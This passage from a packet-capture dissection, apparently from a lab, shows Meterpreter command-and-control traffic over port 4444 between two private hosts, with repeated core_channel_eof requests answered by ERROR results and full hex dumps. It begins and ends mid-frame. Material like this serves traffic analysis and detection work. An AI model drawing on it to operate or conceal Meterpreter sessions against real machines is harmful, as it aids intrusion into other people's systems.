0020  01 2a c6 50 11 5c a3 78 a3 0b 2e 7d 16 59 50 18   .*.P.\.x...}.YP.
0030  08 01 fa a2 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  36 32 37 37 38 38 32 36 31 38 38 36 35 38 36 37   6277882618865867
0070  39 35 31 33 30 35 34 33 37 35 35 38 38 35 39 00   951305437558859.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     23 542.991834     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=998 Ack=1547 Win=96
Len=86
Frame 23: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 998, Ack: 1547, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373833313532363432393637373539317... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 37383331353236343239363737353931373635393134303030... [Value] 78315264296775917659140028116136
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 f6 40 00 40 06 52 e0 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 16 59 a3 78 a3 61 50 18   .).\.P.}.Y.x.aP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  38 33 31 35 32 36 34 32 39 36 37 37 35 39 31 37   8315264296775917
0070  36 35 39 31 34 30 30 32 38 31 31 36 31 33 36 00   659140028116136.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     24 542.992420     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1547 Ack=1084
Win=2048 Len=86
Frame 24: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1547, Ack: 1084, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373833313532363432393637373539313... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 37383331353236343239363737353931373635393134303... [Value] 78315264296775917659140028116136
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c ba 40 00 80 06 6a 1c c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a3 61 2e 7d 16 af 50 18   .*.P.\.x.a.}..P.
0030  08 00 08 11 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  38 33 31 35 32 36 34 32 39 36 37 37 35 39 31 37   8315264296775917
0070  36 35 39 31 34 30 30 32 38 31 31 36 31 33 36 00   659140028116136.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     25 603.237823     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1084 Ack=1633 Win=96
Len=86
Frame 25: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1084, Ack: 1633, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353531353631373738343039323035393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3535313536313737383430393230353930313538313036303... [Value] 55156177840920590158106018462923
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 f8 40 00 40 06 52 de c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 16 af a3 78 a3 b7 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  35 31 35 36 31 37 37 38 34 30 39 32 30 35 39 30   5156177840920590
0070  31 35 38 31 30 36 30 31 38 34 36 32 39 32 33 00   158106018462923.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     26 603.239140     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1633 Ack=1170
Win=2048 Len=86
Frame 26: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1633, Ack: 1170, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353531353631373738343039323035393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3535313536313737383430393230353930313538313036303630... [Value] 5515617784092059015810601846292‌3
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000‌01 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c bb 40 00 80 06 6a 1b c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a3 b7 2e 7d 17 05 50 18   .*.P.\.x...}..P.
0030  08 00 04 74 00 00 00 00 00 56 00 00 00 01 00 00   ...t.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  35 31 35 36 31 37 37 38 34 30 39 32 30 35 39 30   5156177840920590
0070  31 35 38 31 30 36 30 31 38 34 36 32 39 32 33 00   158106018462923.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     27 663.675473     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1170 Ack=1719 Win=96
Len=86
Frame 27: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1170, Ack: 1719, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023332323237363335353539373536343438... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 33323232373633353535393735363438323831363533323235... [Value] 32227635559756482816532516027727
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 fa 40 00 40 06 52 dc c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 17 05 a3 78 a4 0d 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  32 32 32 37 36 33 35 35 35 39 37 35 36 34 38 32   2227635559756482
0070  38 31 36 35 33 32 35 31 36 30 32 37 37 32 37 00   816532516027727.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     28 663.675949     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1719 Ack=1256
Win=2048 Len=86
Frame 28: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1719, Ack: 1256, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333232323736333535353937353634383... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 33323232373633353535393735363438323831363533323235... [Value] 32227635559756482816532516027727
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c bc 40 00 80 06 6a 1a c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a4 0d 2e 7d 17 5b 50 18   .*.P.\.x...}.[P.
0030  08 00 f9 c4 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  32 32 32 37 36 33 35 35 35 39 37 35 36 34 38 32   2227635559756482
0070  38 31 36 35 33 32 35 31 36 30 32 37 37 32 37 00   816532516027727.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     29 724.022185     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1256 Ack=1805 Win=96
Len=86
Frame 29: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1256, Ack: 1805, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333338363337333830383237363933335... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3333383633373338303832373639333531333236393338355... [Value] 33863738082769351326938599441086
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 fc 40 00 40 06 52 da c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 17 5b a3 78 a4 63 50 18   .).\.P.}.[.x.cP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  33 38 36 33 37 33 38 30 38 32 37 36 39 33 35 31   3863738082769351
0070  33 32 36 39 33 38 35 39 39 34 34 31 30 38 36 00   326938599441086.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     30 724.023969     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1805 Ack=1342
Win=2047 Len=86
Frame 30: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1805, Ack: 1342, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333338363337333830383237363933353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 333338363337333830383237363933353133323639333835... [Value] 33863738082769351326938599441086
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c bd 40 00 80 06 6a 19 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a4 63 2e 7d 17 b1 50 18   .*.P.\.x.c.}..P.
0030  07 ff f5 0d 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  33 38 36 33 37 33 38 30 38 32 37 36 39 33 35 31   3863738082769351
0070  33 32 36 39 33 38 35 39 39 34 34 31 30 38 36 00   326938599441086.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     31 784.282141     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1342 Ack=1891 Win=96
Len=86
Frame 31: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1342, Ack: 1891, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000236313136383831373233313938383336... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 363131363838313732333139383833363037313930393931... [Value] 61168817231988360719099164595396
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 fe 40 00 40 06 52 d8 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 17 b1 a3 78 a4 b9 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  31 31 36 38 38 31 37 32 33 31 39 38 38 33 36 30   1168817231988360
0070  37 31 39 30 39 39 31 36 34 35 39 35 33 39 36 00   719099164595396.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     32 784.283794     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1891 Ack=1428
Win=2047 Len=86
Frame 32: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1891, Ack: 1428, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363131363838313732333139383833336... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 363131363838313732333139383833363037313930393931... [Value] 61168817231988360719099164595396
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c be 40 00 80 06 6a 18 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a4 b9 2e 7d 18 07 50 18   .*.P.\.x...}..P.
0030  07 ff ed 66 00 00 00 00 00 56 00 00 00 01 00 00   ...f.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  31 31 36 38 38 31 37 32 33 31 39 38 38 33 36 30   1168817231988360
0070  37 31 39 30 39 39 31 36 34 35 39 35 33 39 36 00   719099164595396.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     33 844.632221     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1428 Ack=1977 Win=96
Len=86
Frame 33: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1428, Ack: 1977, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000239373832353738363135303631343835... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39373832353738363135303631343835393333393839353039... [Value] 97825786150614859398950991239384
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 00 40 00 40 06 52 d6 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 18 07 a3 78 a5 0f 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  37 38 32 35 37 38 36 31 35 30 36 31 34 38 35 39   7825786150614859
0070  33 39 38 39 35 30 39 39 31 32 33 39 33 38 34 00   398950991239384.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     34 844.633403     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1977 Ack=1514
Win=2053 Len=86
Frame 34: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1977, Ack: 1514, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393738323537383631353036313438353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 393738323537383631353036313438353933393839353039... [Value] 97825786150614859398950991239384
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c bf 40 00 80 06 6a 17 c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a5 0f 2e 7d 18 5d 50 18   .*.P.\.x...}.]P.
0030  08 05 fe 96 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  37 38 32 35 37 38 36 31 35 30 36 31 34 38 35 39   7825786150614859
0070  33 39 38 39 35 30 39 39 31 32 33 39 33 38 34 00   398950991239384.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     35 904.864147     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=1514 Ack=2063 Win=96
Len=86
Frame 35: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1514, Ack: 2063, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
